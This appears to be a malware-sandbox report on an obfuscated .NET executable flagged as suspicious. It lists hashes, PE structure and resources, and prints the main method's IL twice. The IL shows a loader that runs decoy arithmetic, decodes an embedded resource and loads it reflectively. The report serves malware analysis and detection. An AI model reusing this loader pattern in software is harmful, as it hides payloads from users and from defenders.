Suspicious
Suspect

PE Executable
MD5: 002b1550152a4ca76ff1b2497a6c016e
Size: 832 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 002b1550152a4ca76ff1b2497a6c016e
Sha1 71c9ed9bceb24c2fcac4ffc96a775434eba02eb5
Sha256 aa1a6d2e36e59f92605e0e5b2de31ffa7b02af80ffc15cad7c9f409dbdf08d27
Sha384 15ef5daa6c5460dc77afd79129435757bad8ab88cca3335c63784fd6b69f6016d601a5be54ed0b3f3e9573e2b0f92f9e
Sha512 bac846dbe1e33baae8741f1391a51b4f2793a62c0fc5138fe290b6d2fd811200941338b49e55979f615e2dc9c0132814750d9f61e73c0459ca8180603ed29280
SSDeep 12288:TkL9DQFWsR/jOHaT2JleKYLsLsy0oxNQhhD2EXrc0F8zNhqUoPUx2ZuD1e0Bun+7:u/W+m8n14qO94Jy/dVc82U0oPEq1S
TLSH 1D05BE6523F85A58F5BFAF79547159140BF2F84AEE32E30D6A4950ED0C72B80CA62733
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
002b1550152a4ca76ff1b2497a6c016e
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
1TxjfdQ5Hb2xi3.g.resources
1TxjfdQ5Hb2xi3.Resources.resources
ee4679b959a2a1.Resources.resources
d455188d0
[NBF]root.Data
d455188d1
[NBF]root.Data
d455188d10
[NBF]root.Data
d455188d11
[NBF]root.Data
d455188d12
[NBF]root.Data
d455188d2
[NBF]root.Data
d455188d3
[NBF]root.Data
d455188d4
[NBF]root.Data
d455188d5
[NBF]root.Data
d455188d6
[NBF]root.Data
d455188d7
[NBF]root.Data
d455188d8
[NBF]root.Data
d455188d9
[NBF]root.Data
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
1TxjfdQ5Hb2xi3
Full Name
1TxjfdQ5Hb2xi3
EntryPoint
System.Void 1TxjfdQ5Hb2xi3.zs4YJpq::Kkw03XnaRy()
Scope Name
1TxjfdQ5Hb2xi3
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
1TxjfdQ5Hb2xi3
Assembly Version
5.2.23.110
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
1515
Main Method
System.Void 1TxjfdQ5Hb2xi3.zs4YJpq::Kkw03XnaRy()
Main IL Instruction Count
329
Main IL 
nop <null>
nop <null>
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
nop <null>
call System.DateTime System.DateTime::get_Now()
stloc.0 <null>
ldc.i4 10001
newarr System.Int32
stloc.1 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_14
ldc.i4.0 <null>
stloc.s V_15
br.s IL_003A: ldloc.s V_15
ldloc.1 <null>
ldloc.s V_15
ldloc.s V_15
ldc.i4.s 31
mul.ovf <null>
ldc.i4 10000
rem <null>
stelem.i4 <null>
ldloc.s V_15
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_14
ble.s IL_0025: ldloc.1
ldloc.1 <null>
call System.Void System.Array::Sort<System.Int32>(System.Int32[])
nop <null>
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr SystemTools
ldstr cache.cfg
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.2 <null>
ldc.r8 24
call System.Double System.Math::Abs(System.Double)
call System.Double System.Math::Round(System.Double)
conv.ovf.i4 <null>
stloc.3 <null>
ldloc.3 <null>
call System.Object 1TxjfdQ5Hb2xi3.SelfDevelopment.Qt0k_Xz96dxRk::6MfnEq5p0Qb(System.Int32)
castclass System.Object[]
stloc.s V_4
ldstr resources/nemota
ldc.i4.0 <null>
newarr System.Object
call System.String System.String::Format(System.String,System.Object[])
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
stelem.ref <null>
ldloc.s V_4
ldc.i4.2 <null>
ldloc.s V_5
call System.Byte[] 1TxjfdQ5Hb2xi3.0wjLd3/aSz13xZknAa.4Nwtdk5W::7irWnoJ3x(System.String)
stelem.ref <null>
call System.String System.IO.Path::GetTempPath()
stloc.s V_6
ldloc.s V_6
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_16
ldloc.s V_16
brfalse.s IL_00C2: ldc.i4.s 100
ldloc.s V_6
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldc.i4.s 100
stloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_9
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_10
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_17
ldc.i4.0 <null>
stloc.s V_18
br.s IL_0147: ldloc.s V_18
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_19
ldc.i4.0 <null>
stloc.s V_20
br.s IL_013B: ldloc.s V_20
ldloc.s V_8
ldloc.s V_18
ldloc.s V_20
ldloc.s V_18
ldloc.s V_20
add.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_18
ldloc.s V_20
ldloc.s V_18
ldloc.s V_20
mul.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_20
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_20
ldloc.s V_20
ldloc.s V_19
ble.s IL_0115: ldloc.s V_8
ldloc.s V_18
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_18
ldloc.s V_18
ldloc.s V_17
ble.s IL_010A: ldloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_21
ldc.i4.0 <null>
stloc.s V_22
br.s IL_01C2: ldloc.s V_22
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_23
ldc.i4.0 <null>
stloc.s V_24
br.s IL_01B6: ldloc.s V_24
ldloc.s V_10
ldloc.s V_22
ldloc.s V_24
ldc.i4.0 <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_25
ldc.i4.0 <null>
stloc.s V_26
br.s IL_01AA: ldloc.s V_26
ldloc.s V_10
ldloc.s V_22
ldloc.s V_24
call System.Int32& System.Int32[0...,0...]::Address(System.Int32,System.Int32)
dup <null>
stloc.s V_27
ldloc.s V_27
ldind.i4 <null>
ldloc.s V_8
ldloc.s V_22
ldloc.s V_26
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_26
ldloc.s V_24
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
mul.ovf <null>
add.ovf <null>
stind.i4 <null>
ldloc.s V_26
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_26
ldloc.s V_26
ldloc.s V_25
ble.s IL_017A: ldloc.s V_10
ldloc.s V_24
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_24
ldloc.s V_24
ldloc.s V_23
ble.s IL_0163: ldloc.s V_10
ldloc.s V_22
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_22
ldloc.s V_22
ldloc.s V_21
ble.s IL_0158: ldloc.s V_7
ldloc.s V_4
ldc.i4.3 <null>
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] 1TxjfdQ5Hb2xi3.sf0TH/9Hzbx4yWpD.Bbr30fSsbYo6a::ab3ZHca82nWkR(System.Byte[])
stelem.ref <null>
ldloc.s V_10
ldc.i4.s 50
ldc.i4.s 50
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldc.i4.s 100
rem <null>
conv.r8 <null>
ldc.r8 100
div <null>
stloc.s V_11
ldloc.s V_11
ldc.r8 0.95
clt <null>
stloc.s V_12
ldc.r8 0
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_28
ldloc.s V_13
ldc.r8 -1
ldloc.s V_28
conv.r8 <null>
call System.Double System.Math::Pow(System.Double,System.Double)
ldc.i4.2 <null>
ldloc.s V_28
mul.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
conv.r8 <null>
div <null>
add <null>
stloc.s V_13
ldloc.s V_28
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_28
ldloc.s V_28
ldc.i4 1000000
ble.s IL_0212: ldloc.s V_13
ldloc.s V_13
ldc.r8 4
mul <null>
stloc.s V_13
nop <null>
ldstr SystemService
call System.Boolean System.Diagnostics.EventLog::SourceExists(System.String)
stloc.s V_29
ldloc.s V_29
brfalse.s IL_02A3: nop
nop <null>
ldstr Application
newobj System.Void System.Diagnostics.EventLog::.ctor(System.String)
stloc.s V_30
ldloc.s V_30
ldstr SystemService
callvirt System.Void System.Diagnostics.EventLog::set_Source(System.String)
nop <null>
ldloc.s V_30
ldstr Module initialized. PI≈{0:F5}
ldloc.s V_13
box System.Double
call System.String System.String::Format(System.String,System.Object)
ldc.i4.4 <null>
callvirt System.Void System.Diagnostics.EventLog::WriteEntry(System.String,System.Diagnostics.EventLogEntryType)
nop <null>
leave.s IL_02A2: nop
nop <null>
ldloc.s V_30
brfalse.s IL_02A1: endfinally
ldloc.s V_30
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
nop <null>
leave.s IL_02B3: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02B3: nop
nop <null>
ldstr L o a d
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] 1TxjfdQ5Hb2xi3.sf0TH/9Hzbx4yWpD.Bbr30fSsbYo6a::ab3ZHca82nWkR(System.Byte[])
call System.Object 1TxjfdQ5Hb2xi3.7Sniap1C0eH::Ns1_7seS(System.String,System.Object)
pop <null>
leave.s IL_02DF: nop
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_31
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02DF: nop
nop <null>
ret <null>
Module Name
1TxjfdQ5Hb2xi3
Full Name
1TxjfdQ5Hb2xi3
EntryPoint
System.Void 1TxjfdQ5Hb2xi3.zs4YJpq::Kkw03XnaRy()
Scope Name
1TxjfdQ5Hb2xi3
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
1TxjfdQ5Hb2xi3
Assembly Version
5.2.23.110
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
1515
Main Method
System.Void 1TxjfdQ5Hb2xi3.zs4YJpq::Kkw03XnaRy()
Main IL Instruction Count
329
Main IL 
nop <null>
nop <null>
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
nop <null>
call System.DateTime System.DateTime::get_Now()
stloc.0 <null>
ldc.i4 10001
newarr System.Int32
stloc.1 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_14
ldc.i4.0 <null>
stloc.s V_15
br.s IL_003A: ldloc.s V_15
ldloc.1 <null>
ldloc.s V_15
ldloc.s V_15
ldc.i4.s 31
mul.ovf <null>
ldc.i4 10000
rem <null>
stelem.i4 <null>
ldloc.s V_15
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_14
ble.s IL_0025: ldloc.1
ldloc.1 <null>
call System.Void System.Array::Sort<System.Int32>(System.Int32[])
nop <null>
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr SystemTools
ldstr cache.cfg
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.2 <null>
ldc.r8 24
call System.Double System.Math::Abs(System.Double)
call System.Double System.Math::Round(System.Double)
conv.ovf.i4 <null>
stloc.3 <null>
ldloc.3 <null>
call System.Object 1TxjfdQ5Hb2xi3.SelfDevelopment.Qt0k_Xz96dxRk::6MfnEq5p0Qb(System.Int32)
castclass System.Object[]
stloc.s V_4
ldstr resources/nemota
ldc.i4.0 <null>
newarr System.Object
call System.String System.String::Format(System.String,System.Object[])
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
stelem.ref <null>
ldloc.s V_4
ldc.i4.2 <null>
ldloc.s V_5
call System.Byte[] 1TxjfdQ5Hb2xi3.0wjLd3/aSz13xZknAa.4Nwtdk5W::7irWnoJ3x(System.String)
stelem.ref <null>
call System.String System.IO.Path::GetTempPath()
stloc.s V_6
ldloc.s V_6
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_16
ldloc.s V_16
brfalse.s IL_00C2: ldc.i4.s 100
ldloc.s V_6
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldc.i4.s 100
stloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_9
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_10
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_17
ldc.i4.0 <null>
stloc.s V_18
br.s IL_0147: ldloc.s V_18
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_19
ldc.i4.0 <null>
stloc.s V_20
br.s IL_013B: ldloc.s V_20
ldloc.s V_8
ldloc.s V_18
ldloc.s V_20
ldloc.s V_18
ldloc.s V_20
add.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_18
ldloc.s V_20
ldloc.s V_18
ldloc.s V_20
mul.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_20
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_20
ldloc.s V_20
ldloc.s V_19
ble.s IL_0115: ldloc.s V_8
ldloc.s V_18
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_18
ldloc.s V_18
ldloc.s V_17
ble.s IL_010A: ldloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_21
ldc.i4.0 <null>
stloc.s V_22
br.s IL_01C2: ldloc.s V_22
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_23
ldc.i4.0 <null>
stloc.s V_24
br.s IL_01B6: ldloc.s V_24
ldloc.s V_10
ldloc.s V_22
ldloc.s V_24
ldc.i4.0 <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_25
ldc.i4.0 <null>
stloc.s V_26
br.s IL_01AA: ldloc.s V_26
ldloc.s V_10
ldloc.s V_22
ldloc.s V_24
call System.Int32& System.Int32[0...,0...]::Address(System.Int32,System.Int32)
dup <null>
stloc.s V_27
ldloc.s V_27
ldind.i4 <null>
ldloc.s V_8
ldloc.s V_22
ldloc.s V_26
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_26
ldloc.s V_24
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
mul.ovf <null>
add.ovf <null>
stind.i4 <null>
ldloc.s V_26
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_26
ldloc.s V_26
ldloc.s V_25
ble.s IL_017A: ldloc.s V_10
ldloc.s V_24
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_24
ldloc.s V_24
ldloc.s V_23
ble.s IL_0163: ldloc.s V_10
ldloc.s V_22
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_22
ldloc.s V_22
ldloc.s V_21
ble.s IL_0158: ldloc.s V_7
ldloc.s V_4
ldc.i4.3 <null>
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] 1TxjfdQ5Hb2xi3.sf0TH/9Hzbx4yWpD.Bbr30fSsbYo6a::ab3ZHca82nWkR(System.Byte[])
stelem.ref <null>
ldloc.s V_10
ldc.i4.s 50
ldc.i4.s 50
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldc.i4.s 100
rem <null>
conv.r8 <null>
ldc.r8 100
div <null>
stloc.s V_11
ldloc.s V_11
ldc.r8 0.95
clt <null>
stloc.s V_12
ldc.r8 0
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_28
ldloc.s V_13
ldc.r8 -1
ldloc.s V_28
conv.r8 <null>
call System.Double System.Math::Pow(System.Double,System.Double)
ldc.i4.2 <null>
ldloc.s V_28
mul.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
conv.r8 <null>
div <null>
add <null>
stloc.s V_13
ldloc.s V_28
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_28
ldloc.s V_28
ldc.i4 1000000
ble.s IL_0212: ldloc.s V_13
ldloc.s V_13
ldc.r8 4
mul <null>
stloc.s V_13
nop <null>
ldstr SystemService
call System.Boolean System.Diagnostics.EventLog::SourceExists(System.String)
stloc.s V_29
ldloc.s V_29
brfalse.s IL_02A3: nop
nop <null>
ldstr Application
newobj System.Void System.Diagnostics.EventLog::.ctor(System.String)
stloc.s V_30
ldloc.s V_30
ldstr SystemService
callvirt System.Void System.Diagnostics.EventLog::set_Source(System.String)
nop <null>
ldloc.s V_30
ldstr Module initialized. PI≈{0:F5}
ldloc.s V_13
box System.Double
call System.String System.String::Format(System.String,System.Object)
ldc.i4.4 <null>
callvirt System.Void System.Diagnostics.EventLog::WriteEntry(System.String,System.Diagnostics.EventLogEntryType)
nop <null>
leave.s IL_02A2: nop
nop <null>
ldloc.s V_30
brfalse.s IL_02A1: endfinally
ldloc.s V_30
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
nop <null>
leave.s IL_02B3: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02B3: nop
nop <null>
ldstr L o a d
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] 1TxjfdQ5Hb2xi3.sf0TH/9Hzbx4yWpD.Bbr30fSsbYo6a::ab3ZHca82nWkR(System.Byte[])
call System.Object 1TxjfdQ5Hb2xi3.7Sniap1C0eH::Ns1_7seS(System.String,System.Object)
pop <null>
leave.s IL_02DF: nop
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_31
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02DF: nop
nop <null>
ret <null>
002b1550152a4ca76ff1b2497a6c016e
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
1TxjfdQ5Hb2xi3.g.resources
1TxjfdQ5Hb2xi3.Resources.resources
ee4679b959a2a1.Resources.resources
d455188d0
[NBF]root.Data
d455188d1
[NBF]root.Data
d455188d10
[NBF]root.Data
d455188d11
[NBF]root.Data
d455188d12
[NBF]root.Data
d455188d2
[NBF]root.Data
d455188d3
[NBF]root.Data
d455188d4
[NBF]root.Data
d455188d5
[NBF]root.Data
d455188d6
[NBF]root.Data
d455188d7
[NBF]root.Data
d455188d8
[NBF]root.Data
d455188d9
[NBF]root.Data
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙